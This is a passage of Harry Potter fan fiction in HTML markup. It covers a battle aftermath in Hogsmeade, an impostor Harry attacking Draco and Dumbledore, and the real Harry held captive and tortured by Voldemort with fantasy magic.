and another small crash.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco then suddenly appeared, jumping from the window as it, too, collapsed. He beat his wings twice before landing softly. &#8220;Your baby is fine.&#8221; He held out a small bundle in sheets. &#8220;Don&#8217;t worry.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Thank you&#8230;&#8221; She took the child and looked at him, eyes shining. &#8220;Thank you thank you thank you <i>thank you</i>!&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>Ginny watched as the people cheered for him, not letting him walk away. Slowly she smiled as she watched people pat his shoulders and congratulate the boy. She then noticed that his wings were slowly fading to a less grey and more whitish colour. &#8216;<i>They react to his feelings and mood.</i>&#8217; She realized with a smile.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Draco!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>The boy turned to Ginny, and ever so slowly, a smile came to his face. &#8220;Hi.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>She grinned and walked up to him, placing her arms around his neck. &#8220;You&#8217;re sexy like that.&#8221; She told him before standing on her tip toes and planting a kiss on his lips before he could pull away. Several people cheered for their new hero and his getting a kiss from the other hero who had saved so many of them today. After a few moments Ginny slowly pulled away. &#8220;How was that, Draco?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Tasted like ash.&#8221; He admitted, borrowing Harry&#8217;s lopsided smile.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Heyyyyy&#8230;.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Everyone laughed.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Geeze, that was cheesy.&#8221; Recca said, sitting with his back against an unharmed building, watching them. He was covered in black ash from head to toe, complete with dirt and a little blood. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I swear.&#8221; Cho agreed, arms crossed and frowning. She too was covered from her fights. &#8220;And here we are with all of these people.&#8221; She jabbed a thumb back at the fifteen plus death eaters, moaning in pain and agony. &#8220;Where&#8217;s <i>my</i> kiss?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Recca looked at her and raised an eyebrow.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh don&#8217;t even <i>think</i> about it!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Humph. Spoilsport.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Harry!&#8221; Hermione shouted, running up to the boy and shaking him. &#8220;Harry! Harry! Speak to me! <i>Harry</i>!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry groaned and slowly sat up with her help. &#8220;Ugh, my head&#8230;&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Harry, what happened?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8230; I don&#8217;t know&#8230;One thing I was fighting and the next, someone got me from behind.&#8221; He stood. &#8220;I&#8217;m okay now. Are the death eaters caught yet?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes, they were all rounded up. Almost twenty in all. Recca and Cho are taking care of it. Ginny and Malfoy are helping with repair of buildings and any hurt.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry nodded. &#8220;Good. Come on,&#8221; He helped her up. &#8220;Let&#8217;s go see if they need our help.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;So this is the power of the ring?&#8221; Voldemort asked, watching a pennisive of Lucius&#8217; mind. He froze the play on it and walked around a frozen image of Draco, leaning forward in flight an inch from the ground. &#8220;Interesting indeed.&#8221; He examined the hair and the wings. &#8220;Almost a complete transformation. However, it is not full just yet&#8230;&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>The play continued until it came to the part he wanted. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Who says we&#8217;re not working together?&#8221; The lord froze it again.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Working together, eh?&#8221; He pondered, inspecting the glowing blue eyes and triangular black strips on his cheeks. &#8220;I estimate only a fifty percent bond with the ring.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What does that mean, my lord?&#8221; Lucius spoke for the first time. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It means, simpleton, that he will only get stronger in time. If allowed, he will be as strong as a star seed, if not more so. Tell me, Lucius, have you ever fought an angelic warrior before?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No, my lord?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I have.&#8221; Voldemort spoke. &#8220;The battle lasted over a month, and that was because she was savoring it. If she had been serious, not even I would have survived.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;My lord!?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I did not lose; I bound her with a spell that would&#8230;Oh.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Lord?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Something has just come to my attention.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Sir?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Voldemort laughed without humour. &#8220;I should have known. I have only cast that spell twice. Once was with a dragon and the other on the angel. I thought it would turn them into a chunk of metal or silver. Obviously I was wrong.&#8221; He smiled darkly. &#8220;Lesson learned. Inspect battle fields after done to make sure the spells do what you <i>think</i> they will&#8230;&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It would appear that the time has come to take a stand against Voldemort.&#8221; Dumbledore spoke, casting his voice across the multitude of people. They were in the town square of Hogsmeade, a few hours after the attack. It was getting dark now, but lights were set up hastily for this matter. &#8220;We must unite our powers and stop this rain of terror once and for all.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah, but how!?&#8221; One person asked from the crowd. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m afraid a war is going to take place.&#8221; Dumbledore said sadly, eyes losing their twinkle. &#8220;I fear the only way to stop it is to make sure Voldemort is killed once and for all&#8230;&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Quite a few people mumbled at this, but the speaker went on after it quieted down a bit. &#8220;These students were the main cause of the arrest of the twenty three death eaters that attacked.&#8221; He moved his hand, motioning toward the several chairs that were up on the small quickly put together stage. &#8220;Most of you know them from Hogwarts&#8217; Sorcerer Circle. Others know them as friends. We all know them as the brave few who took action when others were in danger.&#8221; Several people cheered at these words, making the students blush. </p>\n\n<p>&nbsp;</p>\n\n<p>Dumbledore moved his hand to ask for silence, and was granted it. &#8220;These students know how to act, and don&#8217;t hesitate when time calls for it. Will you follow their example? Will <i>you</i> protect your loved ones?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You bet I am!&#8221; A man screamed, calling attention to himself. &#8220;Come on guys! You-know-who won&#8217;t stand a chance if we all bond together! What do you say!?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;YEAH!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Harry?&#8221; Hermione asked, looking over at him as he sat on his bed. &#8220;Are you okay? You&#8217;ve been&#8230;kind of spacey ever since the attack today. Is anything wrong?&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Eh?&#8221; He looked up. &#8220;No, I&#8217;m just kind of tired, that&#8217;s all.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione looked skeptical, but accepted it non-the-less. &#8220;Okay then. Should we go to sleep then?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah.&#8221; Harry sat on his bed and waved. &#8220;Sweet dreams.&#8221; And then he closed his curtains.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;&#8230;.Harry?&#8221; Hermione looked at the closed curtains sadly a moment before walking over to her bed and laying down in it, pulling the ribbon that held open her curtains and letting them fall. The brown haired girl sighed as she sank into her soft mattress. &#8216;<i>Is something wrong</i>?&#8217; she asked herself, hugging her pillow. &#8216;<i>You can talk to me about it, you know.</i>&#8217;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>Harry sat up. Three in the morning now, perfect for what he had in mind. Swinging his feet out from under the covers, he slid out from his curtains and glanced around the room before moving to the door and slinking out. The boy looked both ways before leaping from the balcony and floating down to the common room, where he then flew (toes almost dragging the floor) to the door and literally went through it.</p>\n\n<p>&nbsp;</p>\n\n<p>Glancing around, he took off down the hallways, leaning forward and flying a few inches from the ground. Turns were made sharp as he explored. &#8216;<i>Where is that stupid door</i>?&#8217; he asked himself as he flew. &#8216;<i>It should be around here somewh- Ah ha!</i>&#8217; </p>\n\n<p>&nbsp;</p>\n\n<p>Harry landed without a sound and looked at the stone gargoyle in front of him. Reaching into his pajama pants, he pulled out a wand and tapped it to the stone, prepared to crack the password.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Harry!&#8221; Harry turned quickly, coming face to face with Ron. &#8220;What are you doing man?&#8221; He asked, looking at him strangely. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8216;<i>Why is he wearing sunglasses in the middle of the night?</i>&#180; Harry pondered, looking over him.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Not even under your cloak? You could be caught!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Cloak?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ron sighed. &#8220;You must have been hit harder than you thought man.&#8221; Run put his arm around his friend&#8217;s shoulders. &#8220;Let&#8217;s go back. You need to rest. Tomorrow you need to go to the Wing and get examined.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m fine.&#8221; Harry threw off his hand and stalked off on his own.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Geeze, what&#8217;s up with him?&#8221; Ron asked himself as he walked away.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Guess we&#8217;ll go back together after all, huh?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ron turned and smiled at Lavender. &#8220;Sure. Close call. Harry would never let us live it down if we were caught out like this.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hey Harry.&#8221; Ginny greeted wrapping her arms around his neck in a friendly/ playful good morning hug. &#8220;Ron tells me you need your head examined. No surprise there, we&#8217;ve known it for years.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>The Gryffindors are the breakfast table laughed merrily at the joke, making the boy glare at them. &#8220;I&#8217;m fine.&#8221; He shifted, giving a clear sign for Ginny to let go. &#8220;I don&#8217;t need you pestering me about things that you don&#8217;t know about.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny looked hurt, but smiled anyway with a weak laugh. &#8220;Sorry then.&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>Ron looked at his sister, who was silently picking at her eggs. It was clear she was upset. &#8220;Yo, Harry mate, want to play some quidditch after breakfast?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I have something to do.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ron looked over at Hermione for some help, which she quickly gave. &#8220;Oh come on, it&#8217;ll help you relax.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry glared at her. &#8220;I <i>said</i> I have something to do.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Don&#8217;t be so mean about it, Harry.&#8221; Ginny spoke, giving him the glare that made even Draco learn his place.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Sod off.&#8221; Harry stood and walked away, sticking his hands into his wizarding pants.</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny watched him walk away and slowly felt tears ring up in her eyes. &#8220;What did I do?&#8221; She asked nobody in particular. &#8220;I was just trying to help&#8230;&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It&#8217;s okay&#8230;&#8221; Hermione comforted her, watching Harry&#8217;s retreating figure.</p>\n\n<p>&nbsp;</p>\n\n<p>Suddenly on the other side of the great hall, a loud clang could be heard. Looking over, they saw Draco stand and stalk after Harry.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You think he heard?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ron frowned. &#8220;Knowing Malfoy, he was probably listening. He has a habit of glancing at Ginny during meals.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Potter!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry turned and smirked at Draco. &#8220;Yeah, Malfoy?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What is <i>up</i> with you man!?&#8221; He demanded, swinging his arm in frustration. &#8220;You go apologize to Ginny right now or I swear I&#8217;ll&#8230;&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You&#8217;ll do what?&#8221; Harry challenged with a confident air. &#8220;Fight me?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco glared. &#8220;I might.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Bring it.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco walked past him and stopped. &#8220;I don&#8217;t need to waste my time on a loser like you.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco turned his head slightly sideways to look at him. &#8220;I could beat you without using ten percent of my power.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Liar.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You&#8217;ll never know.&#8221; He started to walk away then, but soon fell to his knees after a shout of &#8216;crucio&#8217; behind him. &#8220;Cheeeee&#8230;..&#8221; He closed his eyes and gripped his robes, fighting down the pain.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Harry!&#8221; Suddenly the pain was gone and he was able to cough and gasp for air. As soon as he could, he turned to see Ron holding Harry&#8217;s wrist and pressing them against the wall. &#8220;What the bloody hell are you <i>doing</i>!?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry snorted and kicked Ron in the shin, making him let go. &#8220;Looks like I have no other choice.&#8221; He took off into a run back to the great hall. &#8216;<i>Damn, he made me reveal myself.</i>&#8217; He thought as the doors broke open. All four tables turned to see Harry literally fly forward down the middle. &#8220;Prepare to die old man!&#8221; He raired back his hands and formed two large balls of pulsating raw magical energy.</p>\n\n<p>&nbsp;</p>\n\n<p>Dumbledore simply raised his hand and formed a shield around him, blasting back the offensive force and making Harry fly back several feet and land smack on his back.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Harry!&#8221; Hermione ran to him, but was shoved away. She tried desperately to hold onto him, but only succeeded in ripping off his necklace as he made another attack. This time, he was subdued by a collective effort from the teachers. <i>&#8216;Cecilia?</i>&#8217; she thought, scared. &#8216;<i>What&#8217;s wrong with him? &#8230;Cecilia? Celestial!?</i>&#8217; She looked at the necklace. &#8220;It&#8217;s a fake!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ughhh&#8230;.&#8221; The sound escaped the man&#8217;s throat as he woke up from a forced sleep. &#8220;Wha...&#8221; His mouth was dry and his wrist hurt. He vaguely realized he was hung from some type of shackles. &#8220;Where&#8230;..where am I&#8230;?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ah, the boy wakes.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry weakly brought up head. &#8220;Vole&#8230;..mort&#8230;?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That is what they call me.&#8221; He replied calmly. &#8220;It seems you are not as strong as I gave you credit for. I put too much effort into capturing you.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Despite his situation of not knowing where he was or even how he got there, Harry smiled. &#8220;Took you long enough, didn&#8217;t it? Put a little more effort into it and you could have saved a year or two. Hehe...&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Still the smart eleck, eh, Potter?&#8221; Voldemort asked, looking at him with his slitted red eyes. &#8220;I&#8217;ll have you know that I-&#8220;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Lord Voldemort sir!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Voldemort turned. &#8220;Can&#8217;t you see I&#8217;m busy!?&#8221; He yelled, pulling out his wand and pointing it toward the person who just barged in on them. From the new light in the room, Harry could tell he was in some sort of stone cell. There was a window high on the far right wall and a wooden door to his left, where the man came in.&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;My lord, Ryoko has been discovered!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Voldemort growled. &#8220;I should have known better than to trust such an important job to that hot headed little&#8230;.No matter, we still have the real Potter here. The assassination didn&#8217;t work out as to plan. She knows we won&#8217;t come for her.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Sir. Should I tell the others to eliminate all her data, sir?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes, do that.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Sir.&#8221; The man bowed and left the room, leaving the two alone again.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You took me hostage and replaced me with a spy?&#8221; as asked, impressed. &#8220;Nice plan. Too bad it didn&#8217;t work. I&#8217;m a hard person to copy.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;The spell copied you down to your exact skin tone.&#8221; Voldemort snapped.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah, but did you make my hair right? Did you think to make the person wear mostly muggle clothing? Did you put in my <i>personality</i>, Tom!?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Silence!&#8221; Voldemort slapped the boy.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hehe&#8230;.What was that?&#8221; Harry asked, amused. &#8220;Did a mosquito just bite me?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Boy!&#8221; Voldemort punched him in the stomach and hit hi macros the face.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hehe&#8230; that tickles.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Voldemort glared at him. &#8220;Crucio.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry&#8217;s eyes went wide as the pain hit him. His mouth was open and he knew he was screaming, but he could hear nothing but the searing pain in him. Green lightening scrambled through his body, coursing in his blood, making it boil. His mind demanded release from the pain, but he could do nothing but endure it.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8216;<i>Hang in there Harry.</i>&#8217; A voice told him, worried but still confident. &#8216;<i>Something like this won&#8217;t beat you</i>!&#8217;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry closes his mouth and grits his teeth, refusing to scream anymore. The pain, however, did not 